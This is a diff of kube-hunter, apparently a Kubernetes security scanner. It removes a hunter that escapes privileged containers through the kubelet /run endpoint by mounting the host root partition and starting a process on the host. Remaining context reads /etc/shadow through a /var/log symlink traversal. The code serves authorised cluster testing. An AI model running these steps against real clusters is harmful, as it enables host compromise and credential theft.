-        if self.ls_command(run_request_url, directory) == current_files_and_directories:
-            for _ in range(number_of_umount_attempts):
-                # Ref: http://man7.org/linux/man-pages/man2/umount.2.html
-                command_execution_outcome = self.post_request(
-                    run_request_url, {"cmd": f"umount {file_system_or_partition} {directory}"}
-                )
-
-                if seconds_to_wait_for_os_command:
-                    time.sleep(seconds_to_wait_for_os_command)
-
-                first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
-                second_check = self.ls_command(run_request_url, directory) != current_files_and_directories
-
-                if first_check and second_check:
-                    return True
-
-        pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
-        container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
-        logger.warning(
-            "kube-hunter: "
-            + "POD="
-            + pod_id
-            + ", "
-            + "CONTAINER="
-            + container_name
-            + " - Unable to unmount "
-            + file_system_or_partition
-            + " at: "
-            + directory
-        )
-
-        return False
-
-    def mount_command(self, run_request_url, file_system_or_partition, directory):
-        # Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
-        return self.post_request(run_request_url, {"cmd": f"mount {file_system_or_partition} {directory}"})
-
-    def mkdir_command(self, run_request_url, directory_to_create):
-        # Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
-        return self.post_request(run_request_url, {"cmd": f"mkdir {directory_to_create}"})
-
-    def findfs_command(self, run_request_url, file_system_or_partition_type, file_system_or_partition):
-        # Ref: http://man7.org/linux/man-pages/man8/findfs.8.html
-        return self.post_request(
-            run_request_url, {"cmd": f"findfs {file_system_or_partition_type}{file_system_or_partition}"}
-        )
-
-    def get_root_values(self, command_line):
-        for command in command_line.split(" "):
-            # Check for variable-definition commands as there can be commands which don't define variables.
-            if "=" in command:
-                split = command.split("=")
-                if split[0] == "root":
-                    if len(split) > 2:
-                        # Potential valid scenario: root=LABEL=example
-                        root_value_type = split[1] + "="
-                        root_value = split[2]
-
-                        return root_value, root_value_type
-                    else:
-                        root_value_type = ""
-                        root_value = split[1]
-
-                        return root_value, root_value_type
-
-        return None, None
-
-    def process_exposed_existing_privileged_container(
-        self,
-        run_request_url,
-        number_of_umount_attempts,
-        number_of_rmdir_attempts,
-        seconds_to_wait_for_os_command,
-        directory_to_create=None,
-    ):
-        if directory_to_create is None:
-            directory_to_create = "/kube-hunter_" + str(uuid.uuid1())
-
-        # /proc/cmdline - This file shows the parameters passed to the kernel at the time it is started.
-        command_line = self.cat_command(run_request_url, "/proc/cmdline")
-
-        if ProveAnonymousAuth.has_no_error_nor_exception(command_line):
-            if len(command_line.split(" ")) > 0:
-                root_value, root_value_type = self.get_root_values(command_line)
-
-                # Move forward only when the "root" variable value was actually defined.
-                if root_value:
-                    if root_value_type:
-                        file_system_or_partition = self.findfs_command(run_request_url, root_value_type, root_value)
-                    else:
-                        file_system_or_partition = root_value
-
-                    if ProveAnonymousAuth.has_no_error_nor_exception(file_system_or_partition):
-                        directory_created = self.mkdir_command(run_request_url, directory_to_create)
-
-                        if ProveAnonymousAuth.has_no_error_nor_exception(directory_created):
-                            directory_created = directory_to_create
-
-                            mounted_file_system_or_partition = self.mount_command(
-                                run_request_url, file_system_or_partition, directory_created
-                            )
-
-                            if ProveAnonymousAuth.has_no_error_nor_exception(mounted_file_system_or_partition):
-                                host_name = self.cat_command(run_request_url, f"{directory_created}/etc/hostname")
-
-                                if ProveAnonymousAuth.has_no_error_nor_exception(host_name):
-                                    return {
-                                        "result": True,
-                                        "file_system_or_partition": file_system_or_partition,
-                                        "directory_created": directory_created,
-                                    }
-
-                                self.umount_command(
-                                    run_request_url,
-                                    file_system_or_partition,
-                                    directory_created,
-                                    number_of_umount_attempts,
-                                    seconds_to_wait_for_os_command,
-                                )
-
-                            self.rmdir_command(
-                                run_request_url,
-                                directory_created,
-                                number_of_rmdir_attempts,
-                                seconds_to_wait_for_os_command,
-                            )
-
-        return {"result": False}
-
-    def execute(self, directory_to_create=None, file_name=None):
-        temp_message = ""
-
-        for exposed_existing_privileged_containers in self.event.exposed_existing_privileged_containers:
-            pod_namespace = exposed_existing_privileged_containers["pod_namespace"]
-            pod_id = exposed_existing_privileged_containers["pod_id"]
-            container_name = exposed_existing_privileged_containers["container_name"]
-
-            run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
-
-            is_exposed_existing_privileged_container_privileged = self.process_exposed_existing_privileged_container(
-                run_request_url,
-                self.number_of_umount_attempts,
-                self.number_of_rmdir_attempts,
-                self.seconds_to_wait_for_os_command,
-                directory_to_create,
-            )
-
-            if is_exposed_existing_privileged_container_privileged["result"]:
-                file_system_or_partition = is_exposed_existing_privileged_container_privileged[
-                    "file_system_or_partition"
-                ]
-                directory_created = is_exposed_existing_privileged_container_privileged["directory_created"]
-
-                # Execute attack attempt: start/modify process in host.
-                attack_successful_on_exposed_privileged_container = self.attack_exposed_existing_privileged_container(
-                    run_request_url,
-                    directory_created,
-                    self.number_of_rm_attempts,
-                    self.seconds_to_wait_for_os_command,
-                    file_name,
-                )
-
-                if attack_successful_on_exposed_privileged_container["result"]:
-                    file_created = attack_successful_on_exposed_privileged_container["file_created"]
-
-                    self.clean_attacked_exposed_existing_privileged_container(
-                        run_request_url,
-                        file_system_or_partition,
-                        directory_created,
-                        file_created,
-                        self.number_of_rm_attempts,
-                        self.number_of_umount_attempts,
-                        self.number_of_rmdir_attempts,
-                        self.seconds_to_wait_for_os_command,
-                    )
-
-                    temp_message += "\n\nPod namespace: {}\n\nPod ID: {}\n\nContainer name: {}".format(
-                        pod_namespace, pod_id, container_name
-                    )
-
-        if temp_message:
-            message = (
-                "The following exposed existing privileged containers"
-                + " have been successfully abused by starting/modifying a process in the host."
-                + temp_message
-            )
-
-            self.event.evidence = f"{message}"
-        else:
-            message = (
-                "The following exposed existing privileged containers"
-                + " were not successfully abused by starting/modifying a process in the host."
-                + "Keep in mind that attackers might use other methods to attempt to abuse them."
-                + temp_message
-            )
-
-            self.event.evidence = f"{message}"
-
-
 @handler.subscribe(ExposedRunHandler)
 class ProveRunHandler(ActiveHunter):
     """Kubelet Run Hunter
@@ -1048,22 +453,18 @@ class ProveRunHandler(ActiveHunter):
             cmd=command,
         )
         return self.event.session.post(
-            f"{self.base_path}/{run_url}",
-            verify=False,
-            timeout=config.network_timeout,
+            f"{self.base_path}/{run_url}", verify=False, timeout=config.network_timeout,
         ).text
 
     def execute(self):
         config = get_config()
         r = self.event.session.get(
-            f"{self.base_path}/" + KubeletHandlers.PODS.value,
-            verify=False,
-            timeout=config.network_timeout,
+            self.base_path + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
         )
         if "items" in r.text:
             pods_data = r.json()["items"]
             for pod_data in pods_data:
-                container_data = pod_data["spec"]["containers"][0]
+                container_data = next(pod_data["spec"]["containers"])
                 if container_data:
                     output = self.run(
                         "uname -a",
@@ -1092,14 +493,12 @@ class ProveContainerLogsHandler(ActiveHunter):
     def execute(self):
         config = get_config()
         pods_raw = self.event.session.get(
-            self.base_url + KubeletHandlers.PODS.value,
-            verify=False,
-            timeout=config.network_timeout,
+            self.base_url + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
         ).text
         if "items" in pods_raw:
             pods_data = json.loads(pods_raw)["items"]
             for pod_data in pods_data:
-                container_data = pod_data["spec"]["containers"][0]
+                container_data = next(pod_data["spec"]["containers"])
                 if container_data:
                     container_name = container_data["name"]
                     output = requests.get(
@@ -1133,16 +532,11 @@ class ProveSystemLogs(ActiveHunter):
             f"{self.base_url}/" + KubeletHandlers.LOGS.value.format(path="audit/audit.log"),
             verify=False,
             timeout=config.network_timeout,
-        )
-
-        # TODO: add more methods for proving system logs
-        if audit_logs.status_code == requests.status_codes.codes.OK:
-            logger.debug(f"Audit log of host {self.event.host}: {audit_logs.text[:10]}")
-            # iterating over proctitles and converting them into readable strings
-            proctitles = []
-            for proctitle in re.findall(r"proctitle=(\w+)", audit_logs.text):
-                proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
-            self.event.proctitles = proctitles
-            self.event.evidence = f"audit log: {proctitles}"
-        else:
-            self.event.evidence = "Could not parse system logs"
+        ).text
+        logger.debug(f"Audit log of host {self.event.host}: {audit_logs[:10]}")
+        # iterating over proctitles and converting them into readable strings
+        proctitles = []
+        for proctitle in re.findall(r"proctitle=(\w+)", audit_logs):
+            proctitles.append(bytes.fromhex(proctitle).decode("utf-8").replace("\x00", " "))
+        self.event.proctitles = proctitles
+        self.event.evidence = f"audit log: {proctitles}"

kube_hunter/modules/hunting/mounts.py

@@ -25,14 +25,10 @@ class WriteMountToVarLog(Vulnerability, Event):
 
     def __init__(self, pods):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            "Pod With Mount To /var/log",
-            category=PrivilegeEscalation,
-            vid="KHV047",
+            self, KubernetesCluster, "Pod With Mount To /var/log", category=PrivilegeEscalation, vid="KHV047",
         )
         self.pods = pods
-        self.evidence = "pods: {}".format(", ".join(pod["metadata"]["name"] for pod in self.pods))
+        self.evidence = "pods: {}".format(", ".join((pod["metadata"]["name"] for pod in self.pods)))
 
 
 class DirectoryTraversalWithKubelet(Vulnerability, Event):
@@ -41,13 +37,10 @@ class DirectoryTraversalWithKubelet(Vulnerability, Event):
 
     def __init__(self, output):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            "Root Traversal Read On The Kubelet",
-            category=PrivilegeEscalation,
+            self, KubernetesCluster, "Root Traversal Read On The Kubelet", category=PrivilegeEscalation,
         )
         self.output = output
-        self.evidence = f"output: {self.output}"
+        self.evidence = "output: {}".format(self.output)
 
 
 @handler.subscribe(ExposedPodsHandler)
@@ -89,10 +82,7 @@ class ProveVarLogMount(ActiveHunter):
 
     def run(self, command, container):
         run_url = KubeletHandlers.RUN.value.format(
-            podNamespace=container["namespace"],
-            podID=container["pod"],
-            containerName=container["name"],
-            cmd=command,
+            podNamespace=container["namespace"], podID=container["pod"], containerName=container["name"], cmd=command,
         )
         return self.event.session.post(f"{self.base_path}/{run_url}", verify=False).text
 
@@ -101,9 +91,7 @@ class ProveVarLogMount(ActiveHunter):
         config = get_config()
         logger.debug("accessing /pods manually on ProveVarLogMount")
         pods = self.event.session.get(
-            f"{self.base_path}/" + KubeletHandlers.PODS.value,
-            verify=False,
-            timeout=config.network_timeout,
+            f"{self.base_path}/" + KubeletHandlers.PODS.value, verify=False, timeout=config.network_timeout,
         ).json()["items"]
         for pod in pods:
             volume = VarLogMountHunter(ExposedPodsHandler(pods=pods)).has_write_mount_to(pod, "/var/log")
@@ -129,9 +117,7 @@ class ProveVarLogMount(ActiveHunter):
             path=re.sub(r"^/var/log", "", host_path) + symlink_name
         )
         content = self.event.session.get(
-            f"{self.base_path}/{path_in_logs_endpoint}",
-            verify=False,
-            timeout=config.network_timeout,
+            f"{self.base_path}/{path_in_logs_endpoint}", verify=False, timeout=config.network_timeout,
         ).text
         # removing symlink
         self.run(f"rm {mount_path}/{symlink_name}", container=container)
@@ -148,10 +134,7 @@ class ProveVarLogMount(ActiveHunter):
                 }
                 try:
                     output = self.traverse_read(
-                        "/etc/shadow",
-                        container=cont,
-                        mount_path=mount_path,
-                        host_path=volume["hostPath"]["path"],
+                        "/etc/shadow", container=cont, mount_path=mount_path, host_path=volume["hostPath"]["path"],
                     )
                     self.publish_event(DirectoryTraversalWithKubelet(output=output))
                 except Exception:

kube_hunter/modules/hunting/proxy.py

@@ -23,11 +23,7 @@ class KubeProxyExposed(Vulnerability, Event):
 
     def __init__(self):
         Vulnerability.__init__(
-            self,
-            KubernetesCluster,
-            "Proxy Exposed",
-            category=InformationDisclosure,
-            vid="KHV049",
+            self, KubernetesCluster, "Proxy Exposed", category=InformationDisclosure, vid="KHV049",
         )
 
 
@@ -93,9 +89,7 @@ class ProveProxyExposed(ActiveHunter):
     def execute(self):
         config = get_config()
         version_metadata = requests.get(
-            f"http://{self.event.host}:{self.event.port}/version",
-            verify=False,
-            timeout=config.network_timeout,
+            f"http://{self.event.host}:{self.event.port}/version", verify=False, timeout=config.network_timeout,
         ).json()
         if "buildDate" in version_metadata:
             self.event.evidence = "build date: {}".format(version_metadata["buildDate"])
@@ -113,15 +107,11 @@ class K8sVersionDisclosureProve(ActiveHunter):
     def execute(self):
         config = get_config()
         version_metadata = requests.get(
-            f"http://{self.event.host}:{self.event.port}/version",
-            verify=False,
-            timeout=config.network_timeout,
+            f"http://{self.event.host}:{self.event.port}/version", verify=False, timeout=config.network_timeout,
         ).json()
         if "gitVersion" in version_metadata:
             self.publish_event(
                 K8sVersionDisclosure(
-                    version=version_metadata["gitVersion"],
-                    from_endpoint="/version",
-                    extra_info="on kube-proxy",
+                    version=version_metadata["gitVersion"], from_endpoint="/version", extra_info="on kube-proxy",
                 )
             )

kube_hunter/modules/hunting/secrets.py

@@ -28,10 +28,7 @@ class SecretsAccess(Vulnerability, Event):
 
     def __init__(self, evidence):
         Vulnerability.__init__(
-            self,
-            component=KubernetesCluster,
-            name="Access to pod's secrets",
-            category=AccessRisk,
+            self, component=KubernetesCluster, name="Access to pod's secrets", category=AccessRisk,
         )
         self.evidence = evidence
 

kube_hunter/modules/report/base.py

@@ -7,9 +7,6 @@ from kube_hunter.modules.report.collector import (
     vulnerabilities_lock,
 )
 
-BASE_KB_LINK = "https://avd.aquasec.com/"
-FULL_KB_LINK = "https://avd.aquasec.com/kube-hunter/{vid}/"
-
 
 class BaseReporter:
     def get_nodes(self):
@@ -41,7 +38,6 @@ class BaseReporter:
                     "vulnerability": vuln.get_name(),
                     "description": vuln.explain(),
                     "evidence": str(vuln.evidence),
-                    "avd_reference": FULL_KB_LINK.format(vid=vuln.get_vid().lower()),
                     "hunter": vuln.hunter.get_name(),
                 }
                 for vuln in vulnerabilities
@@ -67,4 +63,6 @@ class BaseReporter:
         if statistics:
             report["hunter_statistics"] = self.get_hunter_statistics()
 
+        report["kburl"] = "https://aquasecurity.github.io/kube-hunter/kb/{vid}"
+
         return report

kube_hunter/modules/report/dispatchers.py

@@ -12,10 +12,7 @@ class HTTPDispatcher:
         dispatch_url = os.environ.get("KUBEHUNTER_HTTP_DISPATCH_URL", "https://localhost/")
         try:
             r = requests.request(
-                dispatch_method,
-                dispatch_url,
-                json=report,
-                headers={"Content-Type": "application/json"},
+                dispatch_method, dispatch_url, json=report, headers={"Content-Type": "application/json"},
             )
             r.raise_for_status()
             logger.info(f"Report was dispatched to: {dispatch_url}")

kube_hunter/modules/report/plain.py

@@ -1,6 +1,6 @@
 from prettytable import ALL, PrettyTable
 
-from kube_hunter.modules.report.base import BaseReporter, BASE_KB_LINK
+from kube_hunter.modules.report.base import BaseReporter
 from kube_hunter.modules.report.collector import (
     services,
     vulnerabilities,
@@ -9,8 +9,9 @@ from kube_hunter.modules.report.collector import (
     vulnerabilities_lock,
 )
 
-EVIDENCE_PREVIEW = 100
+EVIDENCE_PREVIEW = 40
 MAX_TABLE_WIDTH = 20
+KB_LINK = "https://github.com/aquasecurity/kube-hunter/tree/master/docs/_kb"
 
 
 class PlainReporter(BaseReporter):
@@ -59,7 +60,7 @@ class PlainReporter(BaseReporter):
             if service.event_id not in id_memory:
                 nodes_table.add_row(["Node/Master", service.host])
                 id_memory.add(service.event_id)
-        nodes_ret = f"\nNodes\n{nodes_table}\n"
+        nodes_ret = "\nNodes\n{}\n".format(nodes_table)
         services_lock.release()
         return nodes_ret
 
@@ -113,7 +114,7 @@ class PlainReporter(BaseReporter):
         return (
             "\nVulnerabilities\n"
             "For further information about a vulnerability, search its ID in: \n"
-            f"{BASE_KB_LINK}\n{vuln_table}\n"
+            f"{KB_LINK}\n{vuln_table}\n"
         )
 
     def hunters_table(self):

pyinstaller_hooks/hook-prettytable.py

@@ -1,3 +0,0 @@
-from PyInstaller.utils.hooks import collect_all
-
-datas, binaries, hiddenimports = collect_all("prettytable")

requirements-dev.txt

@@ -2,7 +2,7 @@
 
 flake8
 pytest >= 2.9.1
-requests-mock >= 1.8
+requests-mock
 coverage < 5.0
 pytest-cov
 setuptools >= 30.3.0

setup.cfg

@@ -22,8 +22,6 @@ classifiers =
     Programming Language :: Python :: 3.6
     Programming Language :: Python :: 3.7
     Programming Language :: Python :: 3.8
-    Programming Language :: Python :: 3.9
-    Programming Language :: Python :: 3 :: Only
     Topic :: Security
 
 [options]

setup.py

@@ -41,8 +41,6 @@ class PyInstallerCommand(Command):
         cfg.read("setup.cfg")
         command = [
             "pyinstaller",
-            "--additional-hooks-dir",
-            "pyinstaller_hooks",
             "--clean",
             "--onefile",
             "--name",

tests/conf/test_logging.py

@@ -11,13 +11,12 @@ def test_setup_logger_level():
         ("NOTEXISTS", logging.INFO),
         ("BASIC_FORMAT", logging.INFO),
     ]
-    logFile = None
     for level, expected in test_cases:
-        setup_logger(level, logFile)
+        setup_logger(level)
         actual = logging.getLogger().getEffectiveLevel()
         assert actual == expected, f"{level} level should be {expected} (got {actual})"
 
 
 def test_setup_logger_none():
-    setup_logger("NONE", None)
+    setup_logger("NONE")
     assert logging.getLogger().manager.disable == logging.CRITICAL

tests/core/test_cloud.py

@@ -8,7 +8,7 @@ set_config(Config())
 
 
 def test_presetcloud():
-    """Testing if it doesn't try to run get_cloud if the cloud type is already set.
+    """ Testing if it doesn't try to run get_cloud if the cloud type is already set.
     get_cloud(1.2.3.4) will result with an error
     """
     expcted = "AWS"

tests/core/test_handler.py

@@ -28,13 +28,11 @@ from kube_hunter.modules.hunting.dashboard import KubeDashboard
 from kube_hunter.modules.hunting.dns import DnsSpoofHunter
 from kube_hunter.modules.hunting.etcd import EtcdRemoteAccess, EtcdRemoteAccessActive
 from kube_hunter.modules.hunting.kubelet import (
-    ProveAnonymousAuth,
-    MaliciousIntentViaSecureKubeletPort,
-    ProveContainerLogsHandler,
-    ProveRunHandler,
-    ProveSystemLogs,
     ReadOnlyKubeletPortHunter,
     SecureKubeletPortHunter,
+    ProveRunHandler,
+    ProveContainerLogsHandler,
+    ProveSystemLogs,
 )
 from kube_hunter.modules.hunting.mounts import VarLogMountHunter, ProveVarLogMount
 from kube_hunter.modules.hunting.proxy import KubeProxy, ProveProxyExposed, K8sVersionDisclosureProve
@@ -79,8 +77,6 @@ ACTIVE_HUNTERS = {
     ProveVarLogMount,
     ProveProxyExposed,
     K8sVersionDisclosureProve,
-    ProveAnonymousAuth,
-    MaliciousIntentViaSecureKubeletPort,
 }
 
 

tests/discovery/test_apiserver.py

@@ -20,9 +20,7 @@ def test_ApiServer():
         m.get("https://mockOther:443", text="elephant")
         m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403)
         m.get(
-            "https://mockKubernetes:443/version",
-            text='{"major": "1.14.10"}',
-            status_code=200,
+            "https://mockKubernetes:443/version", text='{"major": "1.14.10"}', status_code=200,
         )
 
         e = Event()
@@ -46,15 +44,11 @@ def test_ApiServerWithServiceAccountToken():
     counter = 0
     with requests_mock.Mocker() as m:
         m.get(
-            "https://mockKubernetes:443",
-            request_headers={"Authorization": "Bearer very_secret"},
-            text='{"code":200}',
+            "https://mockKubernetes:443", request_headers={"Authorization": "Bearer very_secret"}, text='{"code":200}',
         )
         m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403)
         m.get(
-            "https://mockKubernetes:443/version",
-            text='{"major": "1.14.10"}',
-            status_code=200,
+            "https://mockKubernetes:443/version", text='{"major": "1.14.10"}', status_code=200,
         )
         m.get("https://mockOther:443", text="elephant")
 
@@ -123,7 +117,7 @@ def test_InsecureApiServer():
 
 # We should only generate an ApiServer event for a response that looks like it came from a Kubernetes node
 @handler.subscribe(ApiServer)
-class testApiServer:
+class testApiServer(object):
     def __init__(self, event):
         print("Event")
         assert event.host == "mockKubernetes"

tests/discovery/test_hosts.py

@@ -90,7 +90,7 @@ class TestDiscoveryUtils:
     def test_generate_hosts_valid_ignore():
         remove = IPAddress("192.168.1.8")
         scan = "192.168.1.0/24"
-        expected = {ip for ip in IPNetwork(scan) if ip != remove}
+        expected = set(ip for ip in IPNetwork(scan) if ip != remove)
 
         actual = set(HostDiscoveryHelpers.generate_hosts([scan, f"!{str(remove)}"]))
 

tests/hunting/test_aks.py

@@ -1,56 +0,0 @@
-# flake8: noqa: E402
-import requests_mock
-
-from kube_hunter.conf import Config, set_config
-
-set_config(Config())
-
-from kube_hunter.modules.hunting.kubelet import ExposedRunHandler
-from kube_hunter.modules.hunting.aks import AzureSpnHunter
-
-
-def test_AzureSpnHunter():
-    e = ExposedRunHandler()
-    e.host = "mockKubernetes"
-    e.port = 443
-    e.protocol = "https"
-
-    pod_template = '{{"items":[ {{"apiVersion":"v1","kind":"Pod","metadata":{{"name":"etc","namespace":"default"}},"spec":{{"containers":[{{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{{"mountPath":"/mp","name":"v"}}]}}],"volumes":[{{"hostPath":{{"path":"{}"}},"name":"v"}}]}}}} ]}}'
-
-    bad_paths = ["/", "/etc", "/etc/", "/etc/kubernetes", "/etc/kubernetes/azure.json"]
-    good_paths = ["/yo", "/etc/yo", "/etc/kubernetes/yo.json"]
-
-    for p in bad_paths:
-        with requests_mock.Mocker() as m:
-            m.get("https://mockKubernetes:443/pods", text=pod_template.format(p))
-            h = AzureSpnHunter(e)
-            c = h.get_key_container()
-            assert c
-
-    for p in good_paths:
-        with requests_mock.Mocker() as m:
-            m.get("https://mockKubernetes:443/pods", text=pod_template.format(p))
-            h = AzureSpnHunter(e)
-            c = h.get_key_container()
-            assert c == None
-
-    with requests_mock.Mocker() as m:
-        pod_no_volume_mounts = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}],"volumes":[{"hostPath":{"path":"/whatever"},"name":"v"}]}} ]}'
-        m.get("https://mockKubernetes:443/pods", text=pod_no_volume_mounts)
-        h = AzureSpnHunter(e)
-        c = h.get_key_container()
-        assert c == None
-
-    with requests_mock.Mocker() as m:
-        pod_no_volumes = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}]}} ]}'
-        m.get("https://mockKubernetes:443/pods", text=pod_no_volumes)
-        h = AzureSpnHunter(e)
-        c = h.get_key_container()
-        assert c == None
-
-    with requests_mock.Mocker() as m:
-        pod_other_volume = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{"mountPath":"/mp","name":"v"}]}],"volumes":[{"emptyDir":{},"name":"v"}]}} ]}'
-        m.get("https://mockKubernetes:443/pods", text=pod_other_volume)
-        h = AzureSpnHunter(e)
-        c = h.get_key_container()
-        assert c == None

tests/hunting/test_apiserver_hunter.py

@@ -56,8 +56,7 @@ def test_AccessApiServer():
     with requests_mock.Mocker() as m:
         m.get("https://mockKubernetes:443/api", text="{}")
         m.get(
-            "https://mockKubernetes:443/api/v1/namespaces",
-            text='{"items":[{"metadata":{"name":"hello"}}]}',
+            "https://mockKubernetes:443/api/v1/namespaces", text='{"items":[{"metadata":{"name":"hello"}}]}',
         )
         m.get(
             "https://mockKubernetes:443/api/v1/pods",
@@ -65,12 +64,10 @@ def test_AccessApiServer():
                             {"metadata":{"name":"podB", "namespace":"namespaceB"}}]}',
         )
         m.get(
-            "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/roles",
-            status_code=403,
+            "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/roles", status_code=403,
         )
         m.get(
-            "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
-            text='{"items":[]}',
+            "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", text='{"items":[]}',
         )
         m.get(
             "https://mockkubernetes:443/version",
@@ -94,8 +91,7 @@ def test_AccessApiServer():
         # TODO check that these responses reflect what Kubernetes does
         m.get("https://mocktoken:443/api", text="{}")
         m.get(
-            "https://mocktoken:443/api/v1/namespaces",
-            text='{"items":[{"metadata":{"name":"hello"}}]}',
+            "https://mocktoken:443/api/v1/namespaces", text='{"items":[{"metadata":{"name":"hello"}}]}',
         )
         m.get(
             "https://mocktoken:443/api/v1/pods",
@@ -103,8 +99,7 @@ def test_AccessApiServer():
                             {"metadata":{"name":"podB", "namespace":"namespaceB"}}]}',
         )
         m.get(
-            "https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/roles",
-            status_code=403,
+            "https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/roles", status_code=403,
         )
         m.get(
             "https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
@@ -122,7 +117,7 @@ def test_AccessApiServer():
 
 
 @handler.subscribe(ListNamespaces)
-class test_ListNamespaces:
+class test_ListNamespaces(object):
     def __init__(self, event):
         print("ListNamespaces")
         assert event.evidence == ["hello"]
@@ -135,7 +130,7 @@ class test_ListNamespaces:
 
 
 @handler.subscribe(ListPodsAndNamespaces)
-class test_ListPodsAndNamespaces:
+class test_ListPodsAndNamespaces(object):
     def __init__(self, event):
         print("ListPodsAndNamespaces")
         assert len(event.evidence) == 2
@@ -158,7 +153,7 @@ class test_ListPodsAndNamespaces:
 
 # Should never see this because the API call in the test returns 403 status code
 @handler.subscribe(ListRoles)
-class test_ListRoles:
+class test_ListRoles(object):
     def __init__(self, event):
         print("ListRoles")
         assert 0
@@ -169,7 +164,7 @@ class test_ListRoles:
 # Should only see this when we have a token because the API call returns an empty list of items
 # in the test where we have no token
 @handler.subscribe(ListClusterRoles)
-class test_ListClusterRoles:
+class test_ListClusterRoles(object):
     def __init__(self, event):
         print("ListClusterRoles")
         assert event.auth_token == "so-secret"
@@ -178,7 +173,7 @@ class test_ListClusterRoles:
 
 
 @handler.subscribe(ServerApiAccess)
-class test_ServerApiAccess:
+class test_ServerApiAccess(object):
     def __init__(self, event):
         print("ServerApiAccess")
         if event.category == UnauthenticatedAccess:
@@ -191,7 +186,7 @@ class test_ServerApiAccess:
 
 
 @handler.subscribe(ApiServerPassiveHunterFinished)
-class test_PassiveHunterFinished:
+class test_PassiveHunterFinished(object):
     def __init__(self, event):
         print("PassiveHunterFinished")
         assert event.namespaces == ["hello"]
@@ -233,12 +228,10 @@ def test_AccessApiServerActive():
         )
         m.post("https://mockKubernetes:443/api/v1/clusterroles", text="{}")
         m.post(
-            "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
-            text="{}",
+            "https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", text="{}",
         )
         m.post(
-            "https://mockkubernetes:443/api/v1/namespaces/hello-namespace/pods",
-            text="{}",
+            "https://mockkubernetes:443/api/v1/namespaces/hello-namespace/pods", text="{}",
         )
         m.post(
             "https://mockkubernetes:443" "/apis/rbac.authorization.k8s.io/v1/namespaces/hello-namespace/roles",
@@ -276,12 +269,12 @@ def test_AccessApiServerActive():
 
 
 @handler.subscribe(CreateANamespace)
-class test_CreateANamespace:
+class test_CreateANamespace(object):
     def __init__(self, event):
         assert "abcde" in event.evidence
 
 
 @handler.subscribe(DeleteANamespace)
-class test_DeleteANamespace:
+class test_DeleteANamespace(object):
     def __init__(self, event):
         assert "2019-02-26" in event.evidence

tests/hunting/test_certificates.py

@@ -37,6 +37,6 @@ rceJuGsnJEQ=
 
 
 @handler.subscribe(CertificateEmail)
-class test_CertificateEmail:
+class test_CertificateEmail(object):
     def __init__(self, event):
         assert event.email == b"build@nodejs.org0"

tests/hunting/test_cvehunting.py

@@ -41,7 +41,7 @@ def test_K8sCveHunter():
 
 
 @handler.subscribe(ServerApiVersionEndPointAccessPE)
-class test_CVE_2018_1002105:
+class test_CVE_2018_1002105(object):
     def __init__(self, event):
         global cve_counter
         cve_counter += 1

tests/hunting/test_kubelet.py

@@ -1,721 +0,0 @@
-import requests
-import requests_mock
-import urllib.parse
-import uuid
-
-from kube_hunter.core.events import handler
-from kube_hunter.modules.hunting.kubelet import (
-    AnonymousAuthEnabled,
-    ExposedExistingPrivilegedContainersViaSecureKubeletPort,
-    ProveAnonymousAuth,
-    MaliciousIntentViaSecureKubeletPort,
-)
-
-counter = 0
-pod_list_with_privileged_container = """{
-  "kind": "PodList",
-  "apiVersion": "v1",
-  "metadata": {},
-  "items": [
-    {
-      "metadata": {
-        "name": "kube-hunter-privileged-deployment-86dc79f945-sjjps",
-        "namespace": "kube-hunter-privileged"
-      },
-      "spec": {
-        "containers": [
-          {
-            "name": "ubuntu",
-            "securityContext": {
-              {security_context_definition_to_test}
-            }
-          }
-        ]
-      }
-    }
-  ]
-}
-"""
-service_account_token = "eyJhbGciOiJSUzI1NiIsImtpZCI6IlR0YmxoMXh..."
-env = """PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-HOSTNAME=kube-hunter-privileged-deployment-86dc79f945-sjjps
-KUBERNETES_SERVICE_PORT=443
-KUBERNETES_SERVICE_PORT_HTTPS=443
-KUBERNETES_PORT=tcp://10.96.0.1:443
-KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
-KUBERNETES_PORT_443_TCP_PROTO=tcp
-KUBERNETES_PORT_443_TCP_PORT=443
-KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
-KUBERNETES_SERVICE_HOST=10.96.0.1
-HOME=/root"""
-exposed_privileged_containers = [
-    {
-        "container_name": "ubuntu",
-        "environment_variables": env,
-        "pod_id": "kube-hunter-privileged-deployment-86dc79f945-sjjps",
-        "pod_namespace": "kube-hunter-privileged",
-        "service_account_token": service_account_token,
-    }
-]
-cat_proc_cmdline = "BOOT_IMAGE=/boot/bzImage root=LABEL=Mock loglevel=3 console=ttyS0"
